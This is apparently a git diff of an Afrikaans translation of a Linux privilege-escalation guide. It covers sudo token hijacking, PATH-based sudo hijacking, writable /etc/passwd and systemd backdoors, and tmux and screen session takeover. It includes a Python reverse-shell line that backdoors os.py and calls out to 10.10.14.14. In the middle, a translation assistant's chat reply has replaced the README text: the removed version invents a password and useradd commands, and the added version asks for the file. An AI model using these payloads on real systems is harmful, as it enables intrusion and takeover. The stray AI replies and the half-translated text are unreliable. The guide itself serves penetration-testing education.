kan skryf, skep ons die library in daardie folder met die nodige naam: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -976,13 +974,13 @@ As jy 'n fout kry soos ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -dit beteken dat die biblioteek wat jy gegenereer het `a_function_name` moet hê. +dit beteken dat die biblioteek wat jy gegenereer het 'n funksie met die naam `a_function_name` moet hê. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) is 'n gekeurateerde lys van Unix binaries wat deur 'n aanvaller misbruik kan word om plaaslike sekuriteitsbeperkings te omseil. [**GTFOArgs**](https://gtfoargs.github.io/) is dieselfde, maar vir gevalle waar jy **slegs argumente kan inject** in 'n opdrag. +[**GTFOBins**](https://gtfobins.github.io) is 'n gekuratoreerde lys van Unix-binaries wat deur 'n aanvaller misbruik kan word om plaaslike sekuriteitsbeperkings te omseil. [**GTFOArgs**](https://gtfoargs.github.io/) is dieselfde, maar vir gevalle waar jy **slegs argumente kan ingevoeg** in 'n opdrag. -Die projek versamel legitieme funksies van Unix binaries wat misbruik kan word om uit beperkte shells te ontsnap, privilegies te eskaleer of te behou, lêers oor te dra, bind- en reverse shells te spawn, en ander post-exploitation take te vergemaklik. +Die projek versamel legitieme funksies van Unix-binaries wat misbruik kan word om uit beperkte shells te breek, voorregte te eskaleer of te behou, lêers oor te dra, bind and reverse shells te skep, en ander post-exploitation take te vergemaklik. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -1001,50 +999,50 @@ https://gtfoargs.github.io/ ### FallOfSudo -If you can access `sudo -l` you can use the tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) to check if it finds how to exploit any sudo rule. +As jy toegang tot `sudo -l` het, kan jy die instrument [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) gebruik om te kontroleer of dit 'n wyse vind om enige sudo-reël uit te buit. ### Reusing Sudo Tokens -In gevalle waar jy **sudo access** het maar nie die wagwoord nie, kan jy privilegies eskaleer deur **te wag vir 'n sudo-opdraguitvoering en dan die sessietoken te kaap**. +In gevalle waar jy **sudo access** het maar nie die wagwoord nie, kan jy voorregte eskaleer deur te **wag vir die uitvoering van 'n sudo-opdrag en dan die sessie-token te kaap**. -Vereistes om privilegies te eskaleer: +Vereistes om voorregte te eskaleer: - Jy het reeds 'n shell as gebruiker "_sampleuser_" -- "_sampleuser_" het **`sudo` gebruik** om iets uit te voer in die **laaste 15mins** (by verstek is dit die duur van die sudo token wat ons toelaat om `sudo` te gebruik sonder om 'n wagwoord in te voer) +- "_sampleuser_" het **`sudo` gebruik** om iets uit te voer in die **laaste 15 minute** (standaard is dit die duur van die sudo-token wat ons toelaat om `sudo` te gebruik sonder om 'n wagwoord in te voer) - `cat /proc/sys/kernel/yama/ptrace_scope` is 0 -- `gdb` is toeganklik (jy moet dit kan oplaai) +- `gdb` is toeganklik (jy kan dit oplaai) -(Jy kan tydelik `ptrace_scope` aktiveer met `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` of permanent deur `/etc/sysctl.d/10-ptrace.conf` te wysig en `kernel.yama.ptrace_scope = 0` te stel) +(Jy kan tydelik `ptrace_scope` aktiveer met `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` of dit permanent maak deur `/etc/sysctl.d/10-ptrace.conf` te wysig en `kernel.yama.ptrace_scope = 0` te stel) -If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +As al hierdie vereistes vervul is, **kan jy voorregte eskaleer deur:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- Die **eerste exploit** (`exploit.sh`) sal die binêre `activate_sudo_token` in _/tmp_ skep. Jy kan dit gebruik om **die sudo token in jou sessie te aktiveer** (jy sal nie outomaties 'n root shell kry nie, doen `sudo su`): +- Die **eerste exploit** (`exploit.sh`) sal die binêre `activate_sudo_token` in _/tmp_ skep. Jy kan dit gebruik om die **sudo-token in jou sessie te aktiveer** (jy kry nie outomaties 'n root-shell nie; doen `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- Die **tweede exploit** (`exploit_v2.sh`) sal 'n sh shell in _/tmp_ skep **wat deur root besit word met setuid** +- Die **tweede exploit** (`exploit_v2.sh`) sal 'n sh shell in _/tmp_ skep wat **aan root behoort met setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- Die **derde exploit** (`exploit_v3.sh`) sal **create a sudoers file** wat **sudo tokens eternal and allows all users to use sudo** maak +- Die **derde exploit** (`exploit_v3.sh`) sal **'n sudoers file skep** wat **sudo tokens ewig maak en toelaat dat alle gebruikers sudo gebruik** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -As jy **write permissions** in die vouer het of op enige van die aangemaakte lêers binne die vouer, kan jy die binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) gebruik om **create a sudo token for a user and PID**.\ -Byvoorbeeld, as jy die lêer _/var/run/sudo/ts/sampleuser_ kan oorskryf en jy het 'n shell as daardie gebruiker met PID 1234, kan jy **obtain sudo privileges** sonder om die wagwoord te hoef te ken deur: +As jy **skryfregte** in die gids of op enige van die geskepte lêers binne die gids het, kan jy die binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) gebruik om **create a sudo token for a user and PID**.\\ +Byvoorbeeld, as jy die lêer _/var/run/sudo/ts/sampleuser_ kan oorskryf en jy het 'n shell as daardie gebruiker met PID 1234, kan jy **obtain sudo privileges** sonder om die wagwoord te ken deur: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Die lêer `/etc/sudoers` en die lêers binne `/etc/sudoers.d` beheer wie `sudo` kan gebruik en hoe. Hierdie lêers **per verstek slegs deur gebruiker root en groep root gelees kan word**.\ -**As** jy hierdie lêer kan **lees** kan jy moontlik **interessante inligting bekom**, en as jy enige lêer kan **skryf** sal jy in staat wees om **escalate privileges**. +Die lêer `/etc/sudoers` en die lêers binne `/etc/sudoers.d` bepaal wie `sudo` kan gebruik en hoe. Hierdie lêers is **per verstek slegs deur gebruiker root en groep root geleesbaar**.\ +**As** jy hierdie lêer kan **lees**, kan jy moontlik **interessante inligting verkry**, en as jy enige lêer kan **skryf**, sal jy in staat wees om **escalate privileges**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ @@ -1063,17 +1061,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Daar is 'n paar alternatiewe vir die `sudo`-binaire, soos `doas` vir OpenBSD. Onthou om sy konfigurasie by `/etc/doas.conf` te kontroleer. +Daar is 'n paar alternatiewe vir die `sudo` binary, soos `doas` vir OpenBSD — onthou om sy konfigurasie by `/etc/doas.conf` na te gaan. ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -As jy weet dat 'n **gebruiker gewoonlik met 'n masjien verbind en `sudo` gebruik** om bevoegdhede te verhoog en jy het 'n shell binne daardie gebruiker-konteks, kan jy **'n nuwe sudo-uitvoerbare lêer skep** wat jou kode as root sal uitvoer en daarna die gebruiker se opdrag. Daarna, **wysig die $PATH** van die gebruiker-konteks (byvoorbeeld deur die nuwe pad in .bash_profile by te voeg) sodat wanneer die gebruiker sudo uitvoer, jou sudo-uitvoerbare lêer uitgevoer word. +Indien jy weet dat 'n **gebruiker gewoonlik by 'n masjien aanmeld en `sudo` gebruik** om voorregte te verhoog, en jy het 'n shell binne daardie gebruikerskonteks, kan jy **'n nuwe sudo-uitvoerbare lêer skep** wat jou kode as root uitvoer en daarna die gebruiker se opdrag. Wysig dan die **$PATH** van die gebruikerskonteks (byvoorbeeld deur die nuwe pad in .bash_profile by te voeg) sodat wanneer die gebruiker sudo uitvoer, jou sudo-uitvoerbare uitgevoer word. -Neem egter kennis dat as die gebruiker 'n ander shell (nie bash nie) gebruik, jy ander lêers moet wysig om die nuwe pad by te voeg. Byvoorbeeld [sudo-piggyback](https://github.com/APTy/sudo-piggyback) wysig `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Jy kan nog 'n voorbeeld vind in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Neem kennis dat as die gebruiker 'n ander shell gebruik (nie bash nie) jy ander lêers sal moet wysig om die nuwe pad by te voeg. Byvoorbeeld[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) wysig `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Jy kan 'n ander voorbeeld vind in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) -Of deur iets soos die volgende uit te voer: +Of deur iets soos: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Deur die lib na `/var/tmp/flag15/` te kopieer, sal dit deur die program op hierdie plek gebruik word soos in die `RPATH`-veranderlike gespesifiseer. +Deur die lib na `/var/tmp/flag15/` te kopieer, sal dit deur die program op hierdie plek gebruik word soos gespesifiseer in die `RPATH` veranderlike. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1139,42 +1137,42 @@ execve(file,argv,0); ``` ## Vermoëns -Linux capabilities provide a **subset of the available root privileges to a process**. This effectively breaks up root **privileges into smaller and distinctive units**. Each of these units can then be independently granted to processes. This way the full set of privileges is reduced, decreasing the risks of exploitation.\ -Lees die volgende bladsy om **meer te leer oor capabilities en hoe om dit te misbruik**: +Linux-vermoëns verskaf 'n **substel van die beskikbare root-bevoegdhede aan 'n proses**. Dit breek root **bevoegdhede effektief op in kleiner en kenmerkende eenhede**. Elkeen van hierdie eenhede kan dan onafhanklik aan prosesse toegeken word. Op hierdie manier word die volledige stel bevoegdhede verminder, wat die risiko's van uitbuiting verlaag.\ +Lees die volgende bladsy om **meer te leer oor vermoëns en hoe om dit te misbruik**: {{#ref}} linux-capabilities.md {{#endref}} -## Gids regte +## Gidspermissies -In 'n gids impliseer die **bit vir "execute"** dat die betrokke gebruiker met "**cd**" in die vouer kan gaan.\ -Die **"read"** bit impliseer dat die gebruiker die **files** kan **list**, en die **"write"** bit impliseer dat die gebruiker nuwe **files** kan **delete** en **create**. +In 'n gids impliseer die **bit vir "execute"** dat die betrokke gebruiker in die gids kan "**cd**".\ +Die **"read"** bit impliseer dat die gebruiker die **lêers** kan **lys**, en die **"write"** bit impliseer dat die gebruiker **lêers** kan **skrap** en **skep** nuwe **lêers**. ## ACLs -Access Control Lists (ACLs) verteenwoordig die sekondêre laag van diskresionêre permissions, wat in staat is om die tradisionele ugo/rwx permissions te **override**. Hierdie permissions verbeter beheer oor file of directory toegang deur regte aan spesifieke gebruikers toe te staan of te weier wat nie die eienaars is of deel van die groep nie. Hierdie vlak van **granularity verseker meer presiese access management**. Verdere besonderhede is te vinde [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) verteenwoordig die sekondêre laag van diskresionêre permissies, en kan die tradisionele ugo/rwx-permissies **oorskryf**. Hierdie permissies verbeter die beheer oor lêer- of gids-toegang deur regte toe te laat of te weier vir spesifieke gebruikers wat nie eienaars is of deel van die groep nie. Hierdie vlak van **granulariteit verseker meer presiese toegangsbestuur**. Verdere besonderhede is beskikbaar [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Give** user "kali" read and write permissions over a file: +**Gee** gebruiker "kali" lees- en skryfpermissies oor 'n lêer: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Kry** lêers met spesifieke ACLs van die stelsel: +**Kry** lêers met spesifieke ACLs vanaf die stelsel: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Oop shell-sessies +## Open shell sessies -In **ou weergawes** kan jy moontlik 'n **shell**-sessie van 'n ander gebruiker (**root**) **hijack**.\ -In **die nuutste weergawes** sal jy slegs in staat wees om na screen-sessies van **jou eie gebruiker** te **verbind**. Jy kan egter **interessante inligting binne die sessie** vind. +In **oude weergawes** kan jy 'n **shell** sessie van 'n ander gebruiker (**root**) **hijack**.\ +In **nuutste weergawes** kan jy slegs na screen sessions van **jou eie gebruiker** **connect**. Tog kan jy **interessante inligting binne die sessie** vind. -### screen sessies hijacking +### screen sessions hijacking -**Lys screen sessies** +**Lys screen sessions** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1187,9 +1185,9 @@ screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` -## Oorneem van tmux-sessies +## tmux sessions hijacking -Dit was 'n probleem met **ou tmux-weergawes**. Ek kon nie 'n tmux (v2.1)-sessie wat deur root geskep is, as 'n nie-bevoorregte gebruiker oorneem nie. +Dit was 'n probleem met **oue tmux-weergawes**. Ek kon nie 'n tmux (v2.1)-sessie wat deur root geskep is, as 'n nie-bevoorregte gebruiker hijack nie. **Lys tmux-sessies** ```bash @@ -1209,53 +1207,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Kyk na **Valentine box from HTB** vir 'n voorbeeld. +Check **Valentine box from HTB** vir 'n voorbeeld. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Alle SSL- en SSH-sleutels wat op Debian-gebaseerde stelsels (Ubuntu, Kubuntu, etc) tussen September 2006 en 13 Mei 2008 gegenereer is, kan deur hierdie fout geraak word.\ -Hierdie fout gebeur tydens die skep van 'n nuwe ssh key op daardie OS, aangesien **slegs 32,768 variasies moontlik was**. Dit beteken dat al die moontlikhede bereken kan word en **met die ssh public key kan jy na die ooreenstemmende private key soek**. Jy kan die berekende moontlikhede hier vind: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\ +Hierdie fout word veroorsaak wanneer 'n nuwe ssh key in daardie OS geskep word, aangesien **slegs 32,768 variasies moontlik was**. Dit beteken dat al die moontlikhede bereken kan word en **met die ssh public key kan jy vir die ooreenstemmende private key soek**. You can find the calculated possibilities here: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH Interessante konfigurasie-waardes +### SSH Interessante konfigurasiewaardes - **PasswordAuthentication:** Gee aan of password authentication toegelaat word. Die verstek is `no`. - **PubkeyAuthentication:** Gee aan of public key authentication toegelaat word. Die verstek is `yes`. -- **PermitEmptyPasswords**: Wanneer password authentication toegelaat word, spesifiseer dit of die bediener login na rekeninge met 'n leë wagwoord toelaat. Die verstek is `no`. +- **PermitEmptyPasswords**: Wanneer password authentication toegelaat word, gee dit aan of die bediener aanmeldings na rekeninge met leë wagwoorde toelaat. Die verstek is `no`. ### PermitRootLogin -Gee aan of root kan aanmeld via ssh, die verstek is `no`. Moontlike waardes: +Gee aan of root met ssh kan aanmeld, die verstek is `no`. Moontlike waardes: -- `yes`: root kan aanmeld met wagwoord en private key -- `without-password` of `prohibit-password`: root kan slegs aanmeld met 'n private key -- `forced-commands-only`: Root kan slegs aanmeld met 'n private key en as die commands opsies gespesifiseer is -- `no`: nie toegelaat nie +- `yes`: root kan aanmeld met password en private key +- `without-password` or `prohibit-password`: root kan slegs aanmeld met 'n private key +- `forced-commands-only`: Root kan slegs aanmeld met 'n private key en as die commands-opsies gespesifiseer is +- `no` : nee ### AuthorizedKeysFile -Gee lêers aan wat die public keys bevat wat vir user authentication gebruik kan word. Dit kan tokens soos `%h` bevat, wat vervang sal word deur die tuisgids. **Jy kan absolute paaie aandui** (wat begin met `/`) of **relatiewe paaie vanaf die gebruiker se tuisgids**. Byvoorbeeld: +Gee lêers aan wat die public keys bevat wat vir user authentication gebruik kan word. Dit kan tokens soos `%h` bevat, wat vervang sal word deur die tuismap. **You can indicate absolute paths** (starting in `/`) or **relative paths from the user's home**. For example: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Daardie konfigurasie sal aandui dat as jy probeer om in te teken met die **private** key van die gebruiker "**testusername**" sal ssh die public key van jou key vergelyk met dié wat geleë is in `/home/testusername/.ssh/authorized_keys` en `/home/testusername/access` +Daardie konfigurasie sal aandui dat as jy probeer aanmeld met die **private** key van die gebruiker "**testusername**" gaan ssh die public key van jou key vergelyk met dié wat in `/home/testusername/.ssh/authorized_keys` en `/home/testusername/access` geleë is ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding laat jou toe om **use your local SSH keys instead of leaving keys** (without passphrases!) op jou bediener te laat staan. Daarom sal jy in staat wees om via ssh **jump** **to a host** en van daar **jump to another** host **using** die **key** wat in jou **initial host** geleë is. +SSH agent forwarding laat jou toe om jou plaaslike SSH keys te gebruik in plaas daarvan om keys (without passphrases!) op jou server te laat staan. Sodoende sal jy in staat wees om **jump** via ssh **to a host** en van daar **jump to another** host **using** die **key** wat op jou **initial host** geleë is. Jy moet hierdie opsie in `$HOME/.ssh.config` stel soos volg: ``` Host example.com ForwardAgent yes ``` -Let daarop dat as `Host` `*` is, elke keer as die gebruiker na 'n ander masjien spring, daardie gasheer toegang tot die sleutels sal hê (wat 'n sekuriteitsrisiko is). +Let op dat as `Host` `*` is, elke keer wanneer die gebruiker na 'n ander masjien spring, daardie host toegang tot die sleutels sal hê (wat 'n sekuriteitsprobleem is). -Die lêer `/etc/ssh_config` kan hierdie **opsies** **oorskryf** en hierdie konfigurasie toelaat of ontken.\ -Die lêer `/etc/sshd_config` kan ssh-agent forwarding met die sleutelwoord `AllowAgentForwarding` **toelaat** of **weier** (standaard is toelaat). +Die lêer `/etc/ssh_config` kan **oorskryf** hierdie **opsies** en hierdie konfigurasie toelaat of weier.\ +Die lêer `/etc/sshd_config` kan **toelaat** of **weier** ssh-agent forwarding met die sleutelwoord `AllowAgentForwarding` (standaard is toelaat). -As jy vind dat Forward Agent in 'n omgewing gekonfigureer is, lees die volgende bladsy aangesien **you may be able to abuse it to escalate privileges**: +As jy vind dat Forward Agent in 'n omgewing gekonfigureer is, lees die volgende bladsy aangesien **jy dit dalk kan misbruik om verhoogde regte te verkry**: {{#ref}} @@ -1266,67 +1264,61 @@ ssh-forward-agent-exploitation.md ### Profiel-lêers -Die lêer `/etc/profile` en die lêers onder `/etc/profile.d/` is **skripte wat uitgevoer word wanneer 'n gebruiker 'n nuwe shell begin**. Daarom, as jy enige daarvan kan **skryf of wysig, kan jy escalate privileges**. +Die lêer `/etc/profile` en die lêers onder `/etc/profile.d/` is **scripts wat uitgevoer word wanneer 'n gebruiker 'n nuwe shell begin**. Daarom, as jy enige van hulle kan **skryf of wysig, kan jy verhoogde regte verkry**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -As enige vreemde profielskrip gevind word, moet jy dit nagaan vir **gevoelige besonderhede**. +As enige vreemde profielskrip gevind word, moet jy dit vir **sensitiewe besonderhede** nagaan. -### Passwd/Shadow Files +### Passwd/Shadow-lêers -Afhangend van die OS kan die `/etc/passwd` en `/etc/shadow` lêers 'n ander naam hê of daar kan 'n rugsteun wees. Daarom word aanbeveel om **hulle almal te vind** en **te kyk of jy hulle kan lees** om te sien **if there are hashes** in die lêers: +Afhangende van die OS kan die `/etc/passwd` en `/etc/shadow` lêers 'n ander naam hê of daar kan 'n rugsteun wees. Daarom word dit aanbeveel om **al hulle te vind** en **te kontroleer of jy dit kan lees** om te sien **of daar hashes in die lêers is:** ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -In sommige gevalle kan jy **password hashes** in die `/etc/passwd` (of 'n ekwivalent) lêer vind. +Soms kan jy **password hashes** in die `/etc/passwd` (of 'n ekwivalente) lêer vind. ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` ### Skryfbaar /etc/passwd -Eerstens genereer 'n wagwoord met een van die volgende opdragte. +Genereer eers 'n wagwoord met een van die volgende opdragte. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Ek het nie die inhoud van src/linux-hardening/privilege-escalation/README.md nie — kan jy asseblief die teks hier plak sodat ek dit na Afrikaans kan vertaal en die verlangde wysiging (voeg gebruiker `hacker` by met die gegenereerde wagwoord) direk in die README kan insluit? +I need the contents of src/linux-hardening/privilege-escalation/README.md to translate it. Please paste the file text. -In die tussentyd het ek 'n veilige wagwoord vir jou gegenereer wat jy kan gebruik en die presiese opdragte om die gebruiker `hacker` op 'n Linux-stelsel by te voeg: +Also clarify the second part: do you want +- me to include in the translated README a sample command to create a user named `hacker` plus a generated password (I can supply a strong password string), or +- do you want me to actually create the user on a system (I cannot perform system actions)? -Gegenereerde wagwoord: Wv9$k7QpL3!bZ2@ - -Opdragte om gebruiker by te voeg en wagwoord te stel: -sudo useradd -m -s /bin/bash hacker -echo 'hacker:Wv9$k7QpL3!bZ2@' | sudo chpasswd -sudo passwd -e hacker - -- Die laaste opdrag dwing die gebruiker om die wagwoord by die eerste aanmelding te verander (opsioneel). -Plak asseblief die README-inhoud hier, en ek sal dit na Afrikaans vertaal en die sekerlyne vir die nuwe gebruiker daarin insluit. +If you want the sample commands, confirm and I will include the commands and a generated password in the translation. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` Byvoorbeeld: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -Jy kan nou die `su` opdrag gebruik met `hacker:hacker` +Jy kan nou die `su`-opdrag gebruik met `hacker:hacker` -Alternatiewelik kan jy die volgende lyne gebruik om 'n dummy-gebruiker sonder wagwoord by te voeg.\ +Alternatiewelik kan jy die volgende reëls gebruik om 'n dummy-gebruiker sonder 'n wagwoord by te voeg.\ WAARSKUWING: dit kan die huidige sekuriteit van die masjien verswak. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -LET WEL: Op BSD-platforms is `/etc/passwd` geleë by `/etc/pwd.db` en `/etc/master.passwd`, ook is `/etc/shadow` hernoem na `/etc/spwd.db`. +NOTA: Op BSD-platforms is `/etc/passwd` geleë by `/etc/pwd.db` en `/etc/master.passwd`, en `/etc/shadow` is hernoem na `/etc/spwd.db`. Jy moet nagaan of jy kan **skryf in sekere sensitiewe lêers**. Byvoorbeeld, kan jy skryf na 'n **dienskonfigurasielêer**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Byvoorbeeld, as die masjien 'n **tomcat** bediener uitvoer en jy kan **die Tomcat dienskonfigurasielêer binne /etc/systemd/,** wysig, dan kan jy die lyne wysig: +Byvoorbeeld, as die masjien 'n **tomcat** bediener loop en jy kan **die Tomcat diens-konfigurasielêer binne /etc/systemd/ wysig,** dan kan jy die reëls wysig: ``` ExecStart=/path/to/backdoor User=root @@ -1336,11 +1328,11 @@ Jou backdoor sal uitgevoer word die volgende keer dat tomcat gestart word. ### Kontroleer gidse -Die volgende gidse kan backups of interessante inligting bevat: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Waarskynlik sal jy nie die laaste een kan lees nie, maar probeer dit) +Die volgende gidse kan rugslae of interessante inligting bevat: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Waarskynlik sal jy nie die laaste een kan lees nie, maar probeer.) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Vreemde ligging/Owned files +### Vreemde Ligging/Owned lêers ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1357,7 +1349,7 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### Gewysigde lêers in die laaste minute +### Gewysigde lêers in die afgelope minute ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` @@ -1373,7 +1365,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Script/Binaries in PATH** +### **Skrip/Uitvoerbare lêers in PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1392,19 +1384,19 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ### Bekende lêers wat wagwoorde bevat Lees die kode van [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), dit soek na **verskeie moontlike lêers wat wagwoorde kan bevat**.\ -**Nog 'n interessante hulpmiddel** wat jy kan gebruik hiervoor is: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) wat 'n open source-toepassing is wat gebruik word om baie wagwoorde wat op 'n plaaslike rekenaar vir Windows, Linux & Mac gestoor is, te herstel. +**Nog 'n interessante hulpmiddel** wat jy daarvoor kan gebruik is: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) wat 'n open source-toepassing is wat gebruik word om baie wagwoorde wat op 'n plaaslike rekenaar vir Windows, Linux & Mac gestoor is, te herstel. ### Logs -As jy logs kan lees, kan jy dalk **interessante/vertroulike inligting daarin** vind. Hoe vreemder die log is, hoe interessanter sal dit waarskynlik wees (waarskynlik).\ -Ook kan sommige "**sleg**" geconfigureerde (backdoored?) **audit logs** jou toelaat om wagwoorde binne audit logs op te teken soos in hierdie plasing verduidelik: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +As jy logs kan lees, mag jy **interessante/vertroulike inligting daarin** vind. Hoe vreemder die log is, hoe interessanter sal dit waarskynlik wees.\ +Ook kan sommige **sleg** geconfigureerde (backdoored?) **audit logs** jou toelaat om wagwoorde binne audit logs te **registreer**, soos verduidelik in hierdie pos: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Om logs te kan lees, sal die groep [**adm**](interesting-groups-linux-pe/index.html#adm-group) baie nuttig wees. +Om **logs te lees sal die groep** [**adm**](interesting-groups-linux-pe/index.html#adm-group) baie nuttig wees. -### Shell-lêers +### Shell lêers ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1415,43 +1407,43 @@ Om logs te kan lees, sal die groep [**adm**](interesting-groups-linux-pe/index.h ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### Generiese Creds Search/Regex +### Generiese Creds Soek/Regex -Jy moet ook kyk vir lêers wat die woord "**password**" in hul **naam** of binne die **inhoud** bevat, en ook kyk vir IPs en e-posadresse in logs, of hashes regexps.\ -Ek gaan nie hier lys hoe om al hierdie te doen nie maar as jy belangstel kan jy die laaste kontroles wat [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) perform nagaan. +Jy moet ook kyk na lêers wat die woord "**password**" in hul **naam** of in die **inhoud** bevat, en kyk ook vir IPs en emails in logs, of hashes regexps. +Ek gaan nie hier uiteensit hoe om dit alles te doen nie, maar as jy geïnteresseerd is kan jy die laaste kontroles wat [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) uitvoer nagaan. ## Skryfbare lêers ### Python library hijacking -As jy weet van **waar** 'n python script uitgevoer gaan word en jy **kan daarin skryf** in daardie gids of jy kan **python libraries wysig**, kan jy die OS library wysig en dit backdoor (as jy kan skryf waar python script uitgevoer gaan word, kopieer en plak die os.py library). +As jy weet **waar** 'n python script gaan uitgevoer word en jy **kan binne** daardie gids skryf of jy kan **modify python libraries**, kan jy die OS library wysig en dit backdoor (as jy kan skryf waar die python script gaan uitgevoer word, kopieer en plak die os.py library). -Om **backdoor die library** voeg net aan die einde van die os.py library die volgende reël by (verander IP en PORT): +Om **backdoor the library** te doen, voeg net aan die einde van die os.py library die volgende reël by (verander IP en PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Logrotate-uitbuiting -'n Kwetsbaarheid in `logrotate` laat gebruikers met **write permissions** op 'n loglêer of op die ouer-gidse daarvan moontlik verhoogde bevoegdhede verkry. Dit is omdat `logrotate`, wat dikwels 